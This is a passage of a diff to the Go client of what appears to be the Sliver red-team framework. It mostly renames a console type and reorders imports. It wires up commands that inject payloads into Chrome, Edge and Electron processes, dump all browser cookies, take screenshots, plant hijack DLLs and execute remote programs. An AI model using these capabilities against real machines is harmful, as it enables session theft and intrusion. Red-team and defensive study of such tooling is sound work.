Run: func(cmd *cobra.Command, args []string) {
CursedRmCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedRmCmd)
flags.Bind("", false, cursedRmCmd, func(f *pflag.FlagSet) {
f.BoolP("kill", "k", false, "kill the process after removing the curse")
})
carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop"))
cursedConsoleCmd := &cobra.Command{
Use: consts.CursedConsole,
Short: "Start a JavaScript console connected to a debug target",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
Run: func(cmd *cobra.Command, args []string) {
CursedConsoleCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedConsoleCmd)
flags.Bind("", false, cursedConsoleCmd, func(f *pflag.FlagSet) {
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`")
})
cursedChromeCmd := &cobra.Command{
Use: consts.CursedChrome,
Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
Run: func(cmd *cobra.Command, args []string) {
CursedChromeCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedChromeCmd)
flags.Bind("", false, cursedChromeCmd, func(f *pflag.FlagSet) {
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
f.BoolP("restore", "R", true, "restore the user's session after process termination")
f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)")
f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
f.BoolP("headless", "H", false, "start browser process in headless mode")
})
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
cursedEdgeCmd := &cobra.Command{
Use: consts.CursedEdge,
Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
Run: func(cmd *cobra.Command, args []string) {
CursedEdgeCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedEdgeCmd)
flags.Bind("", false, cursedEdgeCmd, func(f *pflag.FlagSet) {
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
f.BoolP("restore", "R", true, "restore the user's session after process termination")
f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)")
f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
f.BoolP("headless", "H", false, "start browser process in headless mode")
})
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
cursedElectronCmd := &cobra.Command{
Use: consts.CursedElectron,
Short: "Curse a remote Electron application",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
Run: func(cmd *cobra.Command, args []string) {
CursedElectronCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedElectronCmd)
flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) {
f.StringP("exe", "e", "", "remote electron executable absolute path")
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
})
cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments"))
CursedCookiesCmd := &cobra.Command{
Use: consts.CursedCookies,
Short: "Dump all cookies from cursed process",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
Run: func(cmd *cobra.Command, args []string) {
CursedCookiesCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(CursedCookiesCmd)
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "save to file")
})
cursedScreenshotCmd := &cobra.Command{
Use: consts.ScreenshotStr,
Short: "Take a screenshot of a cursed process debug target",
Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
Run: func(cmd *cobra.Command, args []string) {
CursedScreenshotCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedScreenshotCmd)
flags.Bind("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) {
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
f.StringP("save", "s", "", "save to file")
})
return []*cobra.Command{cursedCmd}
}
+9 -8
View File
@@ -29,6 +29,8 @@ import (
"time" "time"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
@@ -36,7 +38,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
) )
var ( var (
@@ -50,8 +51,8 @@ var (
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking} cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
) )
// CursedChromeCmd - Execute a .NET assembly in-memory. // CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
@@ -111,7 +112,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
} }
func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, cmd, con) chromeProcess, err := getChromeProcess(session, cmd, con)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -153,7 +154,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
return curse return curse
} }
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
name := "Chrome" name := "Chrome"
if isEdge { if isEdge {
name = "Edge" name = "Edge"
@@ -253,7 +254,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
return curse, nil return curse, nil
} }
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
userDataFlag, _ := cmd.Flags().GetString("user-data") userDataFlag, _ := cmd.Flags().GetString("user-data")
if userDataFlag != "" { if userDataFlag != "" {
return userDataFlag, nil return userDataFlag, nil
@@ -306,7 +307,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co
} }
} }
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
exeFlag, _ := cmd.Flags().GetString("exe") exeFlag, _ := cmd.Flags().GetString("exe")
if exeFlag != "" { if exeFlag != "" {
return exeFlag, nil return exeFlag, nil
@@ -416,7 +417,7 @@ func isChromeProcess(executable string) bool {
return false return false
} }
func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
}) })
+6 -5
View File
@@ -27,14 +27,15 @@ import (
"text/tabwriter" "text/tabwriter"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/reeflective/readline"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
"github.com/reeflective/readline"
"github.com/spf13/cobra"
) )
func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con) curse := selectCursedProcess(con)
if curse == nil { if curse == nil {
return return
@@ -55,7 +56,7 @@ func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
startCursedConsole(curse, true, target, con) startCursedConsole(curse, true, target, con)
} }
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverClient) *overlord.ChromeDebugTarget { func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 { if len(targets) < 1 {
con.PrintErrorf("No debug targets\n") con.PrintErrorf("No debug targets\n")
return nil return nil
@@ -93,7 +94,7 @@ var helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log "console.log = (...a) => {return a;}", // console.log
} }
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverClient) { func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := os.CreateTemp("", "cursed") tmpFile, _ := os.CreateTemp("", "cursed")
shell := readline.NewShell() shell := readline.NewShell()
shell.History.AddFromFile("cursed history", tmpFile.Name()) shell.History.AddFromFile("cursed history", tmpFile.Name())
+12 -12
View File
@@ -21,16 +21,16 @@ package cursed
import ( import (
"fmt" "fmt"
"os" "os"
"strings"
"time" "time"
"encoding/json" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
"github.com/spf13/cobra"
) )
func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con) curse := selectCursedProcess(con)
if curse == nil { if curse == nil {
return return
@@ -47,24 +47,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
if len(cookies) == 0 { if len(cookies) == 0 {
return return
} }
saveFile, _ := cmd.Flags().GetString("save") saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" { if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405")) saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
} }
jsonCookies := []string{}
jsonBytes, err := json.MarshalIndent(cookies, "", " ") for _, cookie := range cookies {
if err != nil { jsonCookie, err := cookie.MarshalJSON()
con.PrintErrorf("Failed to marshal cookies: %s\n", err) if err != nil {
return con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
} }
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
err = os.WriteFile(saveFile, jsonBytes, 0o600)
if err != nil { if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err) con.PrintErrorf("Failed to save cookies: %s\n", err)
return return
} }
con.PrintInfof("Saved to %s", saveFile) con.PrintInfof("Saved to %s", saveFile)
con.Println() con.Println()
} }
+7 -5
View File
@@ -21,20 +21,22 @@ package cursed
import ( import (
"context" "context"
"os" "os"
"strings" "strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
) )
// CursedChromeCmd - Execute a .NET assembly in-memory. // CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
@@ -94,7 +96,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
} }
} }
func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, cmd, con) edgeProcess, err := getEdgeProcess(session, cmd, con)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -151,7 +153,7 @@ func isEdgeProcess(executable string) bool {
return false return false
} }
func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
}) })
+7 -6
View File
@@ -27,6 +27,8 @@ import (
"time" "time"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
@@ -34,10 +36,9 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
) )
func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
@@ -67,7 +68,7 @@ func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []str
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets)) con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
} }
func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, cmd, con) exists, err := checkElectronPath(electronExe, session, cmd, con)
if err != nil { if err != nil {
con.PrintErrorf("%s", err) con.PrintErrorf("%s", err)
@@ -118,7 +119,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
return curse return curse
} }
func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) { func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
Path: electronExe, Path: electronExe,
@@ -129,7 +130,7 @@ func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra
return ls.GetExists(), nil return ls.GetExists(), nil
} }
func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
}) })
@@ -147,7 +148,7 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *co
return nil, nil return nil, nil
} }
func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe)) con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(cmd) debugPort := getRemoteDebuggerPort(cmd)
args := []string{ args := []string{
+3 -2
View File
@@ -23,13 +23,14 @@ import (
"strconv" "strconv"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
) )
func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
+3 -2
View File
@@ -23,12 +23,13 @@ import (
"os" "os"
"time" "time"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
"github.com/spf13/cobra"
) )
func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con) curse := selectCursedProcess(con)
if curse == nil { if curse == nil {
return return
+7 -6
View File
@@ -27,15 +27,16 @@ import (
"text/tabwriter" "text/tabwriter"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
) )
// CursedChromeCmd - Execute a .NET assembly in-memory. // CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
// Collect existing curses from core // Collect existing curses from core
cursedProcesses := [][]string{} cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool { core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -70,8 +71,8 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
// selectCursedProcess - Interactively select a cursed process from a list. // selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverClient) *core.CursedProcess { func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{} cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool { core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess)) cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
-43
View File
@@ -1,43 +0,0 @@
package dllhijack
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
dllhijackCmd := &cobra.Command{
Use: consts.DLLHijackStr,
Short: "Plant a DLL for a hijack scenario",
Long: help.GetHelpFor([]string{consts.DLLHijackStr}),
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
DllHijackCmd(cmd, con, args)
},
}
flags.Bind("", false, dllhijackCmd, func(f *pflag.FlagSet) {
f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system")
f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system")
f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack")
f.StringP("profile", "p", "", "Profile name to use as a base DLL")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(dllhijackCmd, func(comp *carapace.ActionMap) {
(*comp)["reference-file"] = carapace.ActionFiles()
(*comp)["file"] = carapace.ActionFiles()
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
return []*cobra.Command{dllhijackCmd}
}
+1 -1
View File
@@ -34,7 +34,7 @@ import (
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command // DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var ( var (
localRefData []byte localRefData []byte
targetDLLData []byte targetDLLData []byte
-59
View File
@@ -1,59 +0,0 @@
package environment
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
envCmd := &cobra.Command{
Use: consts.EnvStr,
Short: "List environment variables",
Long: help.GetHelpFor([]string{consts.EnvStr}),
Args: cobra.RangeArgs(0, 1),
Run: func(cmd *cobra.Command, args []string) {
EnvGetCmd(cmd, con, args)
},
GroupID: consts.InfoHelpGroup,
}
flags.Bind("", true, envCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)"))
envSetCmd := &cobra.Command{
Use: consts.SetStr,
Short: "Set environment variables",
Long: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
EnvSetCmd(cmd, con, args)
},
}
envCmd.AddCommand(envSetCmd)
carapace.Gen(envSetCmd).PositionalCompletion(
carapace.ActionValues().Usage("environment variable name"),
carapace.ActionValues().Usage("value to assign"),
)
envUnsetCmd := &cobra.Command{
Use: consts.UnsetStr,
Short: "Clear environment variables",
Long: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
EnvUnsetCmd(cmd, con, args)
},
}
envCmd.AddCommand(envUnsetCmd)
carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name"))
return []*cobra.Command{envCmd}
}
+2 -2
View File
@@ -31,7 +31,7 @@ import (
) )
// EnvGetCmd - Get a remote environment variable // EnvGetCmd - Get a remote environment variable
func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -66,7 +66,7 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
// PrintGetEnvInfo - Print the results of the env get command // PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverClient) { func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" { if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err) con.PrintErrorf("%s\n", envInfo.Response.Err)
return return
+2 -2
View File
@@ -32,7 +32,7 @@ import (
) )
// EnvSetCmd - Set a remote environment variable // EnvSetCmd - Set a remote environment variable
func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -72,7 +72,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
// PrintSetEnvInfo - Print the set environment info // PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverClient) { func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" { if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err) con.PrintErrorf("%s\n", envInfo.Response.Err)
return return
+2 -2
View File
@@ -31,7 +31,7 @@ import (
) )
// EnvUnsetCmd - Unset a remote environment variable // EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -67,7 +67,7 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
// PrintUnsetEnvInfo - Print the set environment info // PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverClient) { func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" { if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err) con.PrintErrorf("%s\n", envInfo.Response.Err)
return return
-277
View File
@@ -1,277 +0,0 @@
package exec
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
executeCmd := &cobra.Command{
Use: consts.ExecuteStr,
Short: "Execute a program on the remote system",
Long: help.GetHelpFor([]string{consts.ExecuteStr}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
